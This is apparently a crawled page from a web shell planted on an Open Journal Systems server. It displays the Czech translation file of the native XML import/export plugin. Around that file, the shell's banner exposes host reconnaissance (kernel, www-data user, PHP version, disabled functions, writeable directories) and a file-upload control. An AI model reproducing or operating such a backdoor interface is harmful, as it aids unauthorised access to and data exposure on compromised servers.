KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/plugins/importexport/native/locale/cs_CZ/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/plugins/importexport/native/locale/cs_CZ/locale.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T11:05:43+00:00\n"
"PO-Revision-Date: 2020-04-08 11:27+0000\n"
"Last-Translator: Michal Jelínek <[email protected]>\n"
"Language-Team: Czech <http://translate.pkp.sfu.ca/projects/ojs/"
"importexport-native/cs/>\n"
"Language: cs_CZ\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "plugins.importexport.native.displayName"
msgstr "Plugin nativního XML"

msgid "plugins.importexport.native.description"
msgstr "Importuje a exportuje v OJS články a čísla v OJS nativním XML formátu."

msgid "plugins.importexport.native.import"
msgstr "Import"

msgid "plugins.importexport.native.import.instructions"
msgstr "Nahrát XML soubor pro import"

msgid "plugins.importexport.native.exportSubmissions"
msgstr "Exportovat články"

msgid "plugins.importexport.native.exportIssues"
msgstr "Exportovat čísla"

msgid "plugins.importexport.native.results"
msgstr "Výsledky"

msgid "plugins.inportexport.native.uploadFile"
msgstr "Nahrajte, prosím, soubor pod \"Import\", abyste mohli pokračovat."

msgid "plugins.importexport.native.importComplete"
msgstr "Import byl úspěšně dokončen. Byly importovány následující položky:"

msgid "plugins.importexport.native.cliUsage"
msgstr ""
"Použití: {$scriptName} {$pluginName} [command] ...\n"
"Příkazy:\n"
"\timport [xmlFileName] [journal_path] [user_name] ...\n"
"\texport [xmlFileName] [journal_path] articles [articleId1] [articleId2] ..."
"\n"
"\texport [xmlFileName] [journal_path] article [articleId]\n"
"\texport [xmlFileName] [journal_path] issues [issueId1] [issueId2] ...\n"
"\texport [xmlFileName] [journal_path] issue [issueId]\n"
"\n"
"Pro import dat jsou nutné další parametry v závislosti na\n"
"kořenovém uzlu dokumentu XML.\n"
"\n"
"Pokud je kořenový uzel <article> či <articles>, jsou požadovány další "
"parametry.\n"
"Přijímán je následující formát:\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path] [user_name]\n"
"\tissue_id [issueId] section_id [sectionId]\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path] [user_name]\n"
"\tissue_id [issueId] section_name [name]\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path]\n"
"\tissue_id [issueId] section_abbrev [abbrev]\n"

msgid "plugins.importexport.native.error.unknownSection"
msgstr "Neznámá sekce {$param}"

msgid "plugins.importexport.native.error.unknownUser"
msgstr "Zadaný úživatel \"{$userName}\" neexistuje."

msgid "plugins.importexport.native.import.error.sectionTitleMismatch"
msgstr "Název sekce \"{$section1Title}\" a název sekce \"{$section2Title}\" v čísle {$issueTitle} odpovídá různým stávajícím sekcím časopisu."

msgid "plugins.importexport.native.import.error.sectionTitleMatch"
msgstr "Název sekce \"{$sectionTitle}\" v čísle {$issueTitle} odpovídal existující sekci časopisu, ale jiný název této sekce neodpovídá jinému názvu stávající sekce časopisu."

msgid "plugins.importexport.native.import.error.sectionAbbrevMismatch"
msgstr "Zkratka sekce \"{$section1Abbrev}\" a zkratka sekce {$section2Abbrev}\" čísla \"{$issueTitle}\" odpovídají různým stávajícím sekcím časopisu."

msgid "plugins.importexport.native.import.error.sectionAbbrevMatch"
msgstr "Zkratka sekce \"{$sectionAbbrev}\" v čísle \"{$issueTitle}\" odpovídá existující sekci časopisu, ale další zkratka této sekce neodpovídá jiné zkratce existující sekce časopisu."

msgid "plugins.importexport.native.import.error.issueIdentificationMatch"
msgstr "Žádné nebo nebo naopak více než jedno číslo odpovídá identifikaci daného čísla \"{$issueIdentification}\"."

msgid "plugins.importexport.native.import.error.issueIdentificationMissing"
msgstr "Identifikační element čísla chybí v článku \"{$articleTitle}\"."

msgid "plugins.importexport.native.exportSubmissionsSelect"
msgstr "Zvolte článek pro export"

msgid "plugins.importexport.native.import.error.issueIdentificationDuplicate"
msgstr "Existující číslo s id {$issueId} odpovídá zadané identifikaci čísla \"{$issueIdentification}\". Toto číslo se nezmění, ale články budou přidány."

msgid "plugins.importexport.native.import.error.publishedDateMissing"
msgstr "Článek \"{$articleTitle}\" je obsažen v tomto čísle, ale nemá zadáno datum zveřejnění."

KUNTUL | JINGKONTOT |